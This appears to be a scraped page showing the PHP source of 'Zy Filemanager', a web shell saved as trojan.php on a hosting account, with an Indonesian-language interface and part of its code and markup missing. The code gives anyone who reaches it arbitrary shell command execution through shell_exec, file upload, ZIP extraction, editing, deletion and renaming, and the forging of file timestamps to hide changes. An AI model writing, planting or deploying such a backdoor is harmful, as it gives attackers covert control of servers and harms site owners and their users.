/var/www/vhosts/ihelp.ro/httpdocs/webroot/123
Edit: /var/www/vhosts/ihelp.ro/httpdocs/webroot/123/trojan.php (13712B)
Login
= 1073741824) return round($s / 1073741824, 2) . ' GB';
if ($s >= 1048576) return round($s / 1048576, 2) . ' MB';
if ($s >= 1024) return round($s / 1024, 2) . ' KB';
return $s . ' B';
}
if (isset($_GET['delete'])) {
$target = realpath($path . '/' . $_GET['delete']);
if (strpos($target, $path) === 0 && is_writable($target)) {
if (is_file($target)) unlink($target);
elseif (is_dir($target)) rmdir($target);
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['rename_from'], $_POST['rename_to'])) {
$from = realpath($path . '/' . $_POST['rename_from']);
$to = $path . '/' . basename($_POST['rename_to']);
if (strpos($from, $path) === 0 && file_exists($from)) {
rename($from, $to);
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['edit_date_file'], $_POST['new_date'])) {
$target = realpath($path . '/' . $_POST['edit_date_file']);
if (strpos($target, $path) === 0 && file_exists($target)) {
$timestamp = strtotime($_POST['new_date']);
if ($timestamp !== false) {
touch($target, $timestamp);
}
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['new_folder'])) {
mkdir($path . '/' . basename($_POST['new_folder']));
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['new_file'])) {
file_put_contents($path . '/' . basename($_POST['new_file']), '');
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_FILES['upload'])) {
move_uploaded_file($_FILES['upload']['tmp_name'], $path . '/' . basename($_FILES['upload']['name']));
header("Location: ?path=" . urlencode($path));
exit;
}
if (!empty($_FILES['uploads'])) {
foreach ($_FILES['uploads']['name'] as $i => $name) {
if ($_FILES['uploads']['error'][$i] === UPLOAD_ERR_OK) {
$tmp = $_FILES['uploads']['tmp_name'][$i];
$dest = $path . '/' . basename($name);
move_uploaded_file($tmp, $dest);
}
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (!empty($_FILES['zipfile']['name'])) {
$zipName = $_FILES['zipfile']['name'];
$tmpZip = $_FILES['zipfile']['tmp_name'];
$destZip = $path . '/' . basename($zipName);
if (move_uploaded_file($tmpZip, $destZip)) {
$zip = new ZipArchive;
if ($zip->open($destZip) === TRUE) {
$zip->extractTo($path);
$zip->close();
unlink($destZip);
}
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['save_file'], $_POST['content'])) {
$file = realpath($path . '/' . $_POST['save_file']);
if (strpos($file, $path) === 0 && is_file($file)) {
file_put_contents($file, $_POST['content']);
}
header("Location: ?path=" . urlencode($path));
exit;
}
// Terminal command execution
if (isset($_POST['command'])) {
$command = trim($_POST['command']);
// Change directory to current $path to ensure commands run in the correct context
chdir($path);
// Escape command to prevent injection
$escaped_command = escapeshellcmd($command);
// Execute command and capture output
$terminal_output = shell_exec($escaped_command . ' 2>&1');
if ($terminal_output === null) {
$terminal_error = "Error executing command or no output returned.";
}
}
$home_shell_path = realpath(dirname(__FILE__));
?>
Zy Filemanager
Zy Filemanager
berang berang bawa gelek berangkat lek !!!
Current Path:
Home Shell';
foreach ($parts as $part) {
if ($part === '') continue;
$build .= '/' . $part;
echo '/' . '
' . htmlspecialchars($part) . '';
}
?>
⬆️ Keluar Dir"; ?>
Terminal
Upload File
Upload Banyak File
Upload & Extract ZIP
Buat Folder
Buat File Kosong
Edit File: